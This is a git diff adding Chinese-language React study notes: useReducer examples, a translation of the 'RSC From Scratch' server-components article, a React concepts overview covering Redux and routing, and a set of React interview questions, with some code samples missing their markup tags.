`dispatch` 而不是回调函数](https://zh-hans.reactjs.org/docs/hooks-faq.html#how-to-avoid-passing-callbacks-down) 。 + +以下是用 reducer 重写 [`useState`](https://zh-hans.reactjs.org/docs/hooks-reference.html#usestate) 一节的计数器示例: + +```tsx +const initialState = {count: 0}; + +function reducer(state, action) { + switch (action.type) { + case 'increment': + return {count: state.count + 1}; + case 'decrement': + return {count: state.count - 1}; + default: + throw new Error(); + } +} + +function Counter() { + const [state, dispatch] = useReducer(reducer, initialState); + return ( + <> + Count: {state.count} + + + + ); +} +``` + +> 注意 +> +> React 会确保 `dispatch` 函数的标识是稳定的,并且不会在组件重新渲染时改变。这就是为什么可以安全地从 `useEffect` 或 `useCallback` 的依赖列表中省略 `dispatch`。 + +#### 指定初始 state + +有两种不同初始化 `useReducer` state 的方式,你可以根据使用场景选择其中的一种。将初始 state 作为第二个参数传入 `useReducer` 是最简单的方法: + +``` + const [state, dispatch] = useReducer( + reducer, + {count: initialCount} ); +``` + +> 注意 +> +> React 不使用 `state = initialState` 这一由 Redux 推广开来的参数约定。有时候初始值依赖于 props,因此需要在调用 Hook 时指定。如果你特别喜欢上述的参数约定,可以通过调用 `useReducer(reducer, undefined, reducer)` 来模拟 Redux 的行为,但我们不鼓励你这么做。 diff --git "a/src/React/\344\273\216\351\233\266\345\274\200\345\247\213\345\256\236\347\216\260RSC - \347\254\254 1 \351\203\250\345\210\206\357\274\232Server Component.md" "b/src/React/\344\273\216\351\233\266\345\274\200\345\247\213\345\256\236\347\216\260RSC - \347\254\254 1 \351\203\250\345\210\206\357\274\232Server Component.md" new file mode 100644 index 00000000..7f9c00e3 --- /dev/null +++ "b/src/React/\344\273\216\351\233\266\345\274\200\345\247\213\345\256\236\347\216\260RSC - \347\254\254 1 \351\203\250\345\210\206\357\274\232Server Component.md" @@ -0,0 +1,1345 @@ +--- +theme: devui-blue +highlight: a11y-dark +--- + +> 原文:[github.com/reactwg/server-components/discussions/5](https://github.com/reactwg/server-components/discussions/5) +> +> 原标题:RSC From Scratch. Part 1: Server Components +> +> 作者:[gaearon (dan)](https://github.com/gaearon) +> +> 译者注:虽然这篇文章很长,而且有三个部分(目前仅更新了第一部分)。但是可以帮助你从0开始学习并深入探索新技术,希望下文可以帮助到你。如有翻译不当的地方,欢迎指正\~ + +在本次深入技术探究中,我们将从头开始实现一个非常简化的[React 服务器组件(RSC) ](https://github.com/reactjs/rfcs/blob/main/text/0188-server-components.md) + +本次深入探究将分几个部分发布: + +* **第 1 部分:服务器组件**(本页) +* 第 2 部分:客户端组件 *(尚未编写)* +* 第 3 部分:待定 *(尚未编写)* + +## 说真的,这是一次深度探索! + +本次深入研究并未解释 React 服务器组件(React Server Component)的优势、如何使用 RSC 实现应用程序或如何使用它们实现框架。相反,它会引导你从头开始自己“发明”它们。 + +🔬 **对于喜欢通过从0开始实施新技术来学习新技术的人来说,这是一次深刻的探索。** +它假定你具有一些 Web 编程背景并且熟悉 React。 + +🚧 **此次深入探讨并非旨在介绍如何*使用*服务器组件。** 我们正努力在 React 网站上补充服务器组件的文档。同时,如果你的框架支持服务器组件,请参阅其文档。 + +😳 **出于教学原因,我们实现的性能将明显低于 React 使用的真实实现。** +我们将在文本中指出未来的优化方向,但我们将强烈优先考虑概念清晰度而不是性能。 + +## 让我们回到过去…… + +假设你有一天早上醒来,发现又是 2003 年了。Web 开发仍处于起步阶段。假设你要创建一个个人博客网站,以显示你服务器上文本文件中的内容。在 PHP 中,它可能看起来像这样: + +```php + + + + + My blog + + + +
    + +
    +
    +
    +

    (c) ,

    +
    + + +``` + +*(我们将假装`
    + + + + + + + + + ); + } + } +``` + +#### 非受控组件 + +**大多数情况下,建议使用受控组件。有一种称为非受控组件的方法可以通过使用`Ref`来处理表单数据。在非受控组件中,`Ref`用于直接从`DOM`访问表单值,而不是事件处理程序。** + +我们使用`Ref`构建了相同的表单,而不是使用React状态。 我们使用`React.createRef()` 定义`Ref`并传递该输入表单并直接从`handleSubmit`方法中的`DOM`访问表单值。 + +```jsx +import React from 'react'; +import Form from 'react-bootstrap/Form'; +import Button from 'react-bootstrap/Button'; +import Row from 'react-bootstrap/Row'; +import Col from 'react-bootstrap/Col'; + +export class ToDoForm extends React.Component { + constructor(props) { + super(props); + this.state = {value: ''}; + this.input = React.createRef(); + + this.handleSubmit = this.handleSubmit.bind(this); + } + + handleSubmit(event) { + alert('A name was submitted: ' + this.input.current.value); + event.preventDefault(); + } + + render() { + return ( +
    +
    + + + Item + +
    + + + + + + + + + ); + } + } +``` + +#### 容器组件 + +容器组件是处理获取数据、订阅 redux 存储等的组件。它们包含展示组件和其他容器组件,但是里面从来没有html。 + +#### 高阶组件 + +高阶组件是将组件作为参数并生成另一个组件的组件。 Redux `connect`是高阶组件的示例。 这是一种用于生成可重用组件的强大技术。 + +### Props 和 State + +**Props** 是只读属性,传递给组件以呈现UI和状态,我们可以随时间更改组件的输出。 + +下面是一个类组件的示例,它在构造函数中定义了`props`和`state`,每当使用`this.setState()` 修改状态时,将再次调用 `render( )` 函数来更改UI中组件的输出。 + +```jsx +import React from 'react'; +import '../App.css'; + +export class Dashboard extends React.Component { + + constructor(props){ + super(props); + + this.state = { + name: "some name" + } + } + + render() { + + // reading state + const name = this.state.name; + + //reading props + const address = this.props.address; + + return ( +
    + {name} + {address} +
    + ); + } +} +``` + +### 什么是PropTypes + +随着时间的推移,应用程序会变得越来越大,因此类型检查非常重要。`PropTypes`为组件提供类型检查,并为其他开发人员提供很好的文档。如果react项目不使用 Typescript,建议为组件添加 `PropTypes`。 + +如果组件没有收到任何 props,我们还可以为每个组件定义要显示的默认 props。这里有一个例子。`UserDisplay`有三个 prop:`name`、`address`和`age`,我们正在为它们定义默认的props 和 prop类型。 + +```jsx +import React from 'react'; +import PropTypes from 'prop-types'; + +export const UserDisplay = ({name, address, age}) => { + + UserDisplay.defaultProps = { + name: 'myname', + age: 100, + address: "0000 onestreet" + }; + + return ( + <> +
    +
    Name:
    +
    {name}
    +
    +
    +
    Address:
    +
    {address}
    +
    +
    +
    Age:
    +
    {age}
    +
    + + ) +} + +UserDisplay.propTypes = { + name: PropTypes.string.isRequired, + address: PropTypes.objectOf(PropTypes.string), + age: PropTypes.number.isRequired +} +``` + +### 如何更新状态以及如何不更新 + +你不应该直接修改状态。可以在构造函数中定义状态值。直接使用状态不会触发重新渲染。React 使用`this.setState()`时合并状态。 + +``` +// 错误方式 +this.state.name = "some name" +// 正确方式 +this.setState({name:"some name"}) +``` + +使用`this.setState()`的第二种形式总是更安全的,**因为更新的props和状态是异步的**。这里,我们根据这些 props 更新状态。 + +```jsx +// 错误方式 +this.setState({ + timesVisited: this.state.timesVisited + this.props.count +}) +// 正确方式 +this.setState((state, props) => { + timesVisited: state.timesVisited + props.count +}); +``` + +### 组件生命周期方法 + +组件在进入和离开DOM时要经历一系列生命周期方法,下面是这些生命周期方法。 + +#### componentWillMount() 组件将要加载 + +在渲染前调用,在客户端也在服务端,它只发生一次。 + +#### componentDidMount() 组件完成加载 + +在第一次渲染后调用,只在客户端。之后组件已经生成了对应的DOM结构,可以通过`this.getDOMNode()`来进行访问。 如果你想和其他JavaScript框架一起使用,可以在这个方法中调用`setTimeout`, `setInterval`或者发送AJAX请求等操作(防止异部操作阻塞UI)。 + +#### componentWillReceiveProps() 将要接收prop + +在组件接收到一个新的 prop (更新后)时被调用。这个方法在初始化render时不会被调用。 + +#### shouldComponentUpdate() 组件应该被更新? + +返回一个布尔值。在组件接收到新的`props`或者`state`时被调用。在初始化时或者使用`forceUpdate`时不被调用。 可以在你确认不需要更新组件时使用。 + +#### componentWillUpdate() 组件将更新 + +在组件接收到新的`props`或者`state`但还没有`render`时被调用。在初始化时不会被调用。 + +#### componentDidUpdate() 组件已更新 + +在组件完成更新后立即调用。在初始化时不会被调用。 + +#### componentWillUnMount() 组件将销毁(不挂载) + +组件从 DOM 中移除的时候立刻被调用。 + +#### getDerivedStateFromError() 从错误中获取派生状态 + +这个生命周期方法在**ErrorBoundary**类中使用。实际上,如果使用这个生命周期方法,任何类都会变成`ErrorBoundary`。这用于在组件树中出现错误时呈现回退UI,而不是在屏幕上显示一些奇怪的错误。 + +#### componentDidCatch() 捕获错误 + +这个生命周期方法在ErrorBoundary类中使用。实际上,如果使用这个生命周期方法,任何类都会变成ErrorBoundary。这用于在组件树中出现错误时记录错误。 + +### 超越继承的组合 + +在React中,**我们总是使用组合而不是继承。**我们已经在函数式编程部分讨论了什么是组合。这是一种结合简单的可重用函数来生成高阶组件的技术。下面是一个组合的例子,我们在 dashboard 组件中使用两个小组件`todoForm`和`todoList`。 + +```jsx +import React from 'react'; +import '../App.css'; +import { ToDoForm } from './todoform'; +import { ToDolist } from './todolist'; + +export class Dashboard extends React.Component { + + render() { + return ( +
    + + +
    + ); + } +} +``` + +### 如何在React中应用样式 + +将样式应用于React组件有三种方法。 + +#### 外部样式表 + +在此方法中,你可以将外部样式表导入到组件使用类中。 但是你应该使用`className`而不是`class`来为React元素应用样式, 这里有一个例子。 + +```jsx +import React from 'react'; +import './App.css'; +import { Header } from './header/header'; +import { Footer } from './footer/footer'; +import { Dashboard } from './dashboard/dashboard'; +import { UserDisplay } from './userdisplay'; + +function App() { + return ( +
    +
    + + +
    +
    + ); +} + +export default App; +``` + +#### 内联样式 + +在这个方法中,我们可以直接将 `props` 传递给HTML元素,属性为`style`。这里有一个例子。这里需要注意的重要一点是,我们将javascript对象传递给style,这就是为什么我们使用 `backgroundColor` 而不是CSS方法`backbackground -color`。 + +```jsx +import React from 'react'; + +export const Header = () => { + + const heading = 'TODO App' + + return( +
    +

    {heading}

    +
    + ) +} +``` + +#### 定义样式对象并使用它 + +因为我们将javascript对象传递给`style`属性,所以我们可以在组件中定义一个`style`对象并使用它。下面是一个示例,你也可以将此对象作为 `props` 传递到组件树中。 + +```jsx +import React from 'react'; + +const footerStyle = { + width: '100%', + backgroundColor: 'green', + padding: '50px', + font: '30px', + color: 'white', + fontWeight: 'bold' +} + +export const Footer = () => { + return( +
    + All Rights Reserved 2019 +
    + ) +} +``` + +### 什么是Redux及其工作原理 + +Redux 是 React的一个状态管理库,它基于flux。 Redux简化了React中的单向数据流。 Redux将状态管理完全从React中抽象出来。 + +#### 它是如何工作的 + +在React中,组件连接到 redux ,如果要访问 redux,需要派出一个包含 `id`和负载(payload) 的 `action`。action 中的 `payload` 是可选的,action 将其转发给 Reducer。 + +当`reducer`收到`action`时,通过 `swithc...case` 语法比较 `action` 中`type`。 匹配时,更新对应的内容返回新的 `state`。 + +当`Redux`状态更改时,连接到`Redux`的组件将接收新的状态作为`props`。当组件接收到这些`props`时,它将进入更新阶段并重新渲染 UI。 + +![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092027901.png) + +#### Redux 循环细节 + +让我们详细看看整个redux 循环细节。 + +![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092027881.png) + + + +**Action**: Action 只是一个简单的json对象,**type** 和有**payload**作为键。**type** 是必须要有的,**payload**是可选的。下面是一个 action 的例子。 + +```js +// action + +{ + type:"SEND_EMAIL", + payload: data +}; +``` + +**Action Creators**:这些是创建`Actions`的函数,因此我们在派发`action`时不必在组件中手动编写每个 `action`。 以下是 action creator 的示例。 + +```js +// action creator + +export function sendEamil(data) { + return { type:"SEND_EMAIL", payload: data}; +} +``` + +**Reducers**:Reducers 是纯函数,它将 `action`和当前 `state` 作为参数,计算必要的逻辑并返回一个新r的`state`。 这些 Reducers 没有任何副作用。 它不会改变 `state` 而是总是返回 `state` 。 + +```js +export default function emailReducer(state = [], action){ + + switch(action.type) { + case "SEND_EMAIL": return Object.assign({}, state, { + email: action.payload + }); + default: return state; + } +} +``` + +#### 组件如何与 `redux` 进行连接 + +**mapStateToProps**:此函数将`state`映射到 `props` 上,因此只要`state`发生变化,新 state 会重新映射到 `props`。 这是订阅`store`的方式。 + +**mapDispatchToProps**:此函数用于将 `action creators` 绑定到你的`props` 。以便我们可以在第`12`行中使用This . `props.actions.sendemail()`来派发一个动作。 + +`connect`和`bindActionCreators`来自 redux。 前者用于连接 store ,如第22行,后者用于将 action creators 绑定到你的 `props` ,如第20行。 + +```js +// import connect +import { connect } from 'react-redux' +import { bindActionCreators } from 'redux' + +// import action creators +import * as userActions from '../../../actions/userActions'; + +export class User extends React.Component { + + handleSubmit() { + // dispatch an action + this.props.actions.sendEmail(this.state.email); + } + +} + +// you are mapping you state props +const mapStateToProps = (state, ownProps) => ({user: state.user}) +// you are binding your action creators to your props +const mapDispatchToProps = (dispatch) => ({actions: bindActionCreators(userActions, dispatch)}) + +export default connect(mapStateToProps, mapDispatchToProps)(User); +``` + +## 什么是 React Router Dom 及其工作原理 + +`react-router-dom`是应用程序中路由的库。 React库中没有路由功能,需要单独安装`react-router-dom`。 + +react-router-dom 提供两个路由器`BrowserRouter`和`HashRoauter`。前者基于rul的pathname段,后者基于hash段。 + +```awk + 前者:http://127.0.0.1:3000/article/num1 + + 后者:http://127.0.0.1:3000/#/article/num1(不一定是这样,但#是少不了的) +``` + +#### **react-router-dom 组件** + +- `BrowserRouter` 和 `HashRouter` 是路由器。 +- `Route` 用于路由匹配。 +- `Link` 组件用于在应用程序中创建链接。 它将在HTML中渲染为锚标记。 +- `NavLink`是突出显示当前活动链接的特殊链接。 +- `Switch` 不是必需的,但在组合路由时很有用。 +- `Redirect` 用于强制路由重定向 + +下面是组件中的`Link`、`NavLink`和`Redirect` 的例子 + +```jsx +// normal link +Home + +// link which highlights currentlu active route with the given class name + + React + + +// you can redirect to this url + +``` + +以下是 react router 组件的示例。 如果你查看下面的示例,我们将匹配路径并使用`Switch`和`Route`呈现相应的组件。 + +```javascript +import React from 'react' +// import react router DOM elements +import { Switch, Route, Redirect } from 'react-router-dom' +import ComponentA from '../common/compa' +import ComponentB from '../common/compb' +import ComponentC from '../common/compc' +import ComponentD from '../common/compd' +import ComponentE from '../common/compe' + + +const Layout = ({ match }) => { + return( +
    + + + + + + + +
    + )} + +export default Layout +``` + +## 什么是错误边界 + +在 React 中,我们通常有一个组件树。如果任何一个组件发生错误,它将破坏整个组件树。没有办法捕捉这些错误,我们可以用错误边界优雅地处理这些错误。 + +错误边界有两个作用 + +- 如果发生错误,显示回退UI +- 记录错误 + +下面是`ErrorBoundary`类的一个例子。如果类实现了 `getDerivedStateFromError`或`componentDidCatch` 这两个生命周期方法的任何一下,,那么这个类就会成为**ErrorBoundary**。前者返回`{hasError: true}`来呈现回退UI,后者用于记录错误。 + +```jsx +import React from 'react' + +export class ErrorBoundary extends React.Component { + constructor(props) { + super(props); + this.state = { hasError: false }; + } + + static getDerivedStateFromError(error) { + // Update state so the next render will show the fallback UI. + return { hasError: true }; + } + + componentDidCatch(error, info) { + // You can also log the error to an error reporting service + console.log('Error::::', error); + } + + render() { + if (this.state.hasError) { + // You can render any custom fallback UI + return

    OOPS!. WE ARE LOOKING INTO IT.

    ; + } + + return this.props.children; + } + } +``` + +以下是我们如何在其中一个组件中使用ErrorBoundary。使用ErrorBoundary类包裹 `ToDoForm`和`ToDoList`。 如果这些组件中发生任何错误,我们会记录错误并显示回退UI。 + +```javascript +import React from 'react'; +import '../App.css'; +import { ToDoForm } from './todoform'; +import { ToDolist } from './todolist'; +import { ErrorBoundary } from '../errorboundary'; + +export class Dashboard extends React.Component { + + render() { + return ( +
    + + + + +
    + ); + } +} +``` + +## 什么是 Fragments 片段 + +在React中,我们需要有一个父元素,同时从组件返回React元素。有时在DOM中添加额外的节点会很烦人。使用 **Fragments**,我们不需要在DOM中添加额外的节点。我们只需要用 `React.Fragment` 或才简写 `<>` 来包裹内容就行了。如下 所示: + +```jsx + // Without Fragments +return ( +
    + + + +
    +) + +// With Fragments + return ( + + + + + + ) + + // shorthand notation Fragments + return ( + <> + + + + + ) +``` + +## 什么是传送门(Portals) + +默认情况下,所有子组件都在UI上呈现,具体取决于组件层次结构。Portal 提供了一种将子节点渲染到存在于父组件以外的 DOM 节点的优秀的方案。 + +这里有一个例子。默认情况下,父组件在DOM层次结构中有子组件。 + +![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092051022.png) + +我们可以将 `children` 组件移出`parent` 组件并将其附加 **id** 为 `someid` 的 Dom 节点下。 + +首先,获取 id 为 someid,我们在constrcutorand中创建一个元素div,将child附加到componentDidMount中的someRoot。 最后,我们在ReactDOM.createPortal(this.props.childen),domnode的帮助下将子节点传递给该特定DOM节点。 + +首先,先获取 id 为`someid` DOM元素,接着在构造函数中创建一个元素div,在 `componentDidMount`方法中将 `someRoot` 放到 div 中 。 最后,通过 +`ReactDOM.createPortal(this.props.childen), domnode)`将 `children` 传递到对应的节点下。 + +```javascript +const someRoot = document.getElementById('someid'); + +class Modal extends React.Component { + constructor(props) { + super(props); + this.el = document.createElement('div'); + } + + componentDidMount() { + someRoot.appendChild(this.el); + } + + componentWillUnmount() { + someRoot.removeChild(this.el); + } + + render() { + return ReactDOM.createPortal( + this.props.children, + this.el, + ); + } +} +``` + +![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092051921.png) + +## 什么是上下文 Context + +有时我们必须将`props` 传递给组件树,即使所有中间组件都不需要这些`props` 。上下文是一种传递`props` 的方法,而不用在每一层传递组件树。 + +## 什么是 Hooks + +Hooks 是React版本16.8中的新功能。 请记住,我们不能在函数组件中使用`state` ,因为它们不是类组件。**Hooks 让我们在函数组件中可以使用`state` 和其他功能。** + +目前没有重大变化,我们不必放弃类组件。 + +Hook 不会影响你对 React 概念的理解。 恰恰相反,Hook 为已知的 React 概念提供了更直接的 API:props, state,context,refs 以及生命周期。稍后我们将看到,Hook 还提供了一种更强大的方式来组合他们。 + +我们可以使用一些钩子,例如useState,useEffect,useContext,useReducer等。 + +下面是 Hooks 的基本规则 + +- Hooks 应该在外层使用,不应该在循环,条件或嵌套函数中使用 +- Hooks 应该只在函数组件中使用。 + +让我们看一个例子来理解 hooks。 这是一个函数组件,它采用`props`并在UI上显示这些`props`。 在`useState`钩子的帮助下,我们将这个函数组件转换为有状态组件。 首先,我们在第5行定义状态,这相当于 + +```delphi +constructor(props) { + super(props); + this.state = { + name:'myname', age:10, address:'0000 one street' + } +} +``` + +`useState`返回两个项,一个是`user`,另一个是`setUser`函数。 `user` 是一个可以在没有 `this`关键字的情况下直接使用的对象,`setUser`是一个可以用来设置用户点击第`21`行按钮的状态的函数,该函数等效于以下内容。 + +```reasonml +this.setState({name:'name changed'}) +``` + + + +```dust + 1 import React, { useState } from 'react'; + 2 + 3 export const UserDisplay = ({name, address, age}) => { + 4 + 5 const [user, setUser] = useState({ name: 'myname', age: 10, address: '0000 onestreet' }); + 6 + 7 return ( + 8 <> + 9
    + 10
    Name:
    + 11
    {user.name}
    + 12
    + 13
    + 14
    Address:
    + 15
    {user.address}
    + 16
    + 17
    + 18
    Age:
    + 19
    {user.age}
    + 20
    + 21 + 24 + 25 ) + 26 } +``` + +## 如何提高性能 + +我们可以通过多种方式提高应用性能,以下这些比较重要: + +- 适当地使用`shouldComponentUpdate`生命周期方法。 它避免了子组件的不必要的渲染。 如果树中有100个组件,则不重新渲染整个组件树来提高应用程序性能。 +- 使用`create-react-app`来构建项目,这会创建整个项目结构,并进行大量优化。 +- 不可变性是提高性能的关键。不要对数据进行修改,而是始终在现有集合的基础上创建新的集合,以保持尽可能少的复制,从而提高性能。 +- 在显示列表或表格时始终使用 `Keys`,这会让 React 的更新速度更快 +- 代码分离是将代码插入到单独的文件中,只加载模块或部分所需的文件的技术。 + +## 如何在重新加载页面时保留数据 + +单页应用程序首先在DOM中加载`index.html`,然后在用户浏览页面时加载内容,或者从同一`index.html`中的后端API获取任何数据。 + +如果通过点击浏览器中的重新加载按钮重新加载页面`index.html`,整个React应用程序将重新加载,我们将丢失应用程序的状态。 如何保留应用状态? + +每当重新加载应用程序时,我们使用浏览器`localstorage`来保存应用程序的状态。我们将整个存储数据保存在`localstorage`中,每当有页面刷新或重新加载时,我们从`localstorage`加载状态。 + +![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092051971.png) + +## 如何在React进行API调用 + +我们使用`redux-thunk`在React中调用API。因为`reduce`是纯函数,所以没有副作用,比如调用API。 + +因此,我们必须使用`redux-thunk`从 action creators 那里进行 API 调用。Action creator 派发一个action,将来自API的数据放入action 的 `payload` 中。Reducers 接收我们在上面的`redux`循环中讨论的数据,其余的过程也是相同的。 + +![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092051952.png) + +redux-thunk是一个中间件。一旦它被引入到项目中,每次派发一个`action`时,都会通过`thunk`传递。如果它是一个函数,它只是等待函数处理并返回响应。如果它不是一个函数,它只是正常处理。 + +这里有一个例子。`sendEmailAPI`是从组件中调用的函数,它接受一个数据并返回一个函数,其中`dispatch`作为参数。我们使用`redux-thunk`调用API `apiservice`,并等待收到响应。一旦接收到响应,我们就使用`payload` 派发一个`action` 。 + +```javascript +import apiservice from '../services/apiservice'; + +export function sendEmail(data) { + return { type:"SEND_EMAIL", payload: data }; +} + +export function sendEmailAPI(email) { + return function(dispatch) { + return apiservice.callAPI(email).then(data => { + dispatch(sendEmail(data)); + }); + } +} +``` diff --git "a/src/\345\205\253\350\202\241\346\226\207/React/React \351\235\242\350\257\225\351\242\230\357\274\210\344\270\200\357\274\211.md" "b/src/\345\205\253\350\202\241\346\226\207/React/React \351\235\242\350\257\225\351\242\230\357\274\210\344\270\200\357\274\211.md" new file mode 100644 index 00000000..ded4da8e --- /dev/null +++ "b/src/\345\205\253\350\202\241\346\226\207/React/React \351\235\242\350\257\225\351\242\230\357\274\210\344\270\200\357\274\211.md" @@ -0,0 +1,1984 @@ +--- +date: 2022-06-26 +category: +- React +- 面试题 +--- + +> [参照 「2021」高频前端面试题汇总之React篇(上)](https://juejin.cn/post/6941546135827775525) + +# React 面试题(一) + +## 一、组件基础 + +### 1. React 事件机制 :star::star: + +```vue +
    点我
    +``` + +React并不是将click事件绑定到了div的真实DOM上,而是在document处监听了所有的事件,当事件发生并且冒泡到document处的时候,React将事件内容封装并交由真正的处理函数运行。这样的方式不仅仅减少了内存的消耗,还能在组件挂在销毁时统一订阅和移除事件。 + +除此之外,冒泡到document上的事件也不是原生的浏览器事件,而是由react自己实现的合成事件(SyntheticEvent)。因此如果不想要是事件冒泡的话应该调用event.preventDefault()方法,而不是调用event.stopProppagation()方法。 + +![image-20220626152257032](https://cdn.yihuiblog.top/images/202206261522143.png) + +JSX 上写的事件并没有绑定在对应的真实 DOM 上,而是**通过事件代理的方式**,将所有的事件都统一绑定在了 `document` 上。这样的方式不仅减少了内存消耗,还能在组件挂载销毁时统一订阅和移除事件。 + +另外冒泡到 `document` 上的事件也不是原生浏览器事件,而是 React 自己实现的合成事件(SyntheticEvent)。因此我们如果不想要事件冒泡的话,调用 `event.stopPropagation` 是无效的,而应该调用 `event.preventDefault`。 + +实现合成事件的目的如下: + +- 合成事件首先抹平了浏览器之间的兼容问题,另外这是一个跨浏览器原生事件包装器,赋予了跨浏览器开发的能力; +- 对于原生浏览器事件来说,浏览器会给监听器创建一个事件对象。如果你有很多的事件监听,那么就需要分配很多的事件对象,造成高额的内存分配问题。但是对于合成事件来说,**有一个事件池专门来管理它们的创建和销毁**,当事件需要被使用时,就会从池子中复用对象,事件回调结束后,就会销毁事件对象上的属性,从而便于下次复用事件对象。 + +### 2. React的事件和普通的HTML事件有什么不同?:star: + +区别: + +- 对于事件名称命名方式,原生事件为全小写,react 事件采用小驼峰; +- 对于事件函数处理语法,原生事件为字符串,react 事件为函数; +- react 事件不能采用 return false 的方式来阻止浏览器的默认行为,而必须要地明确地调用`preventDefault()`来阻止默认行为。 + +合成事件是 react 模拟原生 DOM 事件所有能力的一个事件对象,其优点如下: + +- 兼容所有浏览器,更好的跨平台; +- 将事件统一存放在一个数组,避免频繁的新增与删除(垃圾回收)。 +- 方便 react 统一管理和事务机制。 + +事件的执行顺序为原生事件先执行,合成事件后执行,合成事件会冒泡绑定到 document 上,所以尽量避免原生事件与合成事件混用,如果原生事件阻止冒泡,可能会导致合成事件不执行,因为需要冒泡到document 上合成事件才会执行。 + +### 3. React 组件中怎么做事件代理?它的原理是什么? + +React基于Virtual DOM实现了一个SyntheticEvent层(合成事件层),定义的事件处理器会接收到一个合成事件对象的实例,它符合W3C标准,且与原生的浏览器事件拥有同样的接口,支持冒泡机制,所有的事件都自动绑定在最外层上。 + +在React底层,主要对合成事件做了两件事: + +- **事件委派:** React会把所有的事件绑定到结构的最外层,使用统一的事件监听器,这个事件监听器上维持了一个映射来保存所有组件内部事件监听和处理函数。 +- **自动绑定:** React组件中,每个方法的上下文都会指向该组件的实例,即自动绑定this为当前组件。 + +### 4. React 高阶组件、Render props、hooks 有什么区别,为什么要不断迭代 + +这三者是目前react解决代码复用的主要方式: + +- **高阶组件(HOC)是 React 中用于复用组件逻辑的一种高级技巧**。HOC 自身不是 React API 的一部分,它是一种基于 React 的组合特性而形成的设计模式。具体而言,高阶组件是参数为组件,返回值为新组件的函数。 +- **render props是指一种在 React 组件之间使用一个值为函数的 prop 共享代码的简单技术,**更具体的说,render prop 是一个用于告知组件需要渲染什么内容的函数 prop。 +- 通常,render props 和高阶组件只渲染一个子节点。让 Hook 来服务这个使用场景更加简单。这两种模式仍有用武之地,(例如,一个虚拟滚动条组件或许会有一个 renderltem 属性,或是一个可见的容器组件或许会有它自己的 DOM 结构)。但在大部分场景下,Hook 足够了,并且能够帮助减少嵌套。 + +**(1)HOC** 官方解释∶ + +> 高阶组件(HOC)是 React 中用于复用组件逻辑的一种高级技巧。HOC 自身不是 React API 的一部分,它是一种基于 React 的组合特性而形成的设计模式。 + +简言之,HOC是一种组件的设计模式,HOC接受一个组件和额外的参数(如果需要),返回一个新的组件。HOC 是纯函数,没有副作用。 + +```javascript +// hoc的定义 +function withSubscription(WrappedComponent, selectData) { + return class extends React.Component { + constructor(props) { + super(props); + this.state = { + data: selectData(DataSource, props) + }; + } + // 一些通用的逻辑处理 + render() { + // ... 并使用新数据渲染被包装的组件! + return ; + } + }; + +// 使用 +const BlogPostWithSubscription = withSubscription(BlogPost, + (DataSource, props) => DataSource.getBlogPost(props.id)); +``` + +HOC的优缺点∶ + +- 优点∶ 逻辑服用、不影响被包裹组件的内部逻辑。 +- 缺点∶ hoc传递给被包裹组件的props容易和被包裹后的组件重名,进而被覆盖 + +**(2)Render props** 官方解释∶ + +> "render prop"是指一种在 React 组件之间使用一个**值为函数的 prop 共享代码的简单技术** + +具有render prop 的组件接受一个返回React元素的函数,将render的渲染逻辑注入到组件内部。在这里,**"render"的命名可以是任何其他有效的标识符。** + +```jsx +// DataProvider组件内部的渲染逻辑如下 +class DataProvider extends React.Components { + state = { + name: 'Tom' + } + + render() { + return ( +
    +

    共享数据组件自己内部的渲染逻辑

    + { this.props.render(this.state) } +
    + ); + } +} + +// 调用方式 + ( +

    Hello {data.name}

    +)}/> +``` + +由此可以看到,render props的优缺点也很明显∶ + +- 优点:数据共享、代码复用,将组件内的state作为props传递给调用者,将渲染逻辑交给调用者。 +- 缺点:无法在 return 语句外访问数据、嵌套写法不够优雅 + +**(3)Hooks** 官方解释∶ + +> Hook是 React 16.8 的新增特性。它可以让你在不编写 class 的情况下使用 state 以及其他的 React 特性。通过自定义hook,可以复用代码逻辑。 + +```javascript +// 自定义一个获取订阅数据的hook +function useSubscription() { + const data = DataSource.getComments(); + return [data]; +} +// +function CommentList(props) { + const {data} = props; + const [subData] = useSubscription(); + ... +} +// 使用 + +``` + +以上可以看出,hook解决了hoc的prop覆盖的问题,同时使用的方式解决了render props的嵌套地狱的问题。hook的优点如下∶ + +- 使用直观; +- 解决hoc的prop 重名问题; +- 解决render props 因共享数据 而出现嵌套地狱的问题; +- 能在return之外使用数据的问题。 + +需要注意的是:hook只能在组件顶层使用,不可在分支语句中使用。 + +**总结∶** Hoc、render props和hook都是为了解决代码复用的问题,但是hoc和render props都有特定的使用场景和明显的缺点。hook是react16.8更新的新的API,让组件逻辑复用更简洁明了,同时也解决了hoc和render props的一些缺点。 + +### 5. 对React-Fiber的理解,它解决了什么问题?:star: + +React V15 在渲染时,会递归比对 VirtualDOM 树,找出需要变动的节点,然后同步更新它们, 一气呵成。这个过程期间, React 会占据浏览器资源,这会导致用户触发的事件得不到响应,并且会导致掉帧,**导致用户感觉到卡顿**。 + +为了给用户制造一种应用很快的“假象”,不能让一个任务长期霸占着资源。 可以将浏览器的渲染、布局、绘制、资源加载(例如 HTML 解析)、事件响应、脚本执行视作操作系统的“进程”,需要通过某些调度策略合理地分配 CPU 资源,从而提高浏览器的用户响应速率, 同时兼顾任务执行效率。 + +**所以 React 通过Fiber 架构,让这个执行过程变成可被中断。“适时”地让出 CPU 执行权,除了可以让浏览器及时地响应用户的交互,还有其他好处:** + +- 分批延时对DOM进行操作,避免一次性操作大量 DOM 节点,可以得到更好的用户体验; +- 给浏览器一点喘息的机会,它会对代码进行编译优化(JIT)及进行热代码优化,或者对 reflow 进行修正。 + +:star:**核心思想:** Fiber 也称协程或者纤程。它和线程并不一样,协程本身是没有并发或者并行能力的(需要配合线程),它只是一种控制流程的让出机制。让出 CPU 的执行权,让 CPU 能在这段时间执行其他的操作。渲染的过程可以被中断,可以将控制权交回浏览器,让位给高优先级的任务,浏览器空闲后再恢复渲染。 + +### 6. React.Component 和 React.PureComponent 的区别 + +PureComponent表示一个纯组件,可以用来优化React程序,减少render函数执行的次数,从而提高组件的性能。 + +在React中,当prop或者state发生变化时,可以通过在shouldComponentUpdate生命周期函数中执行return 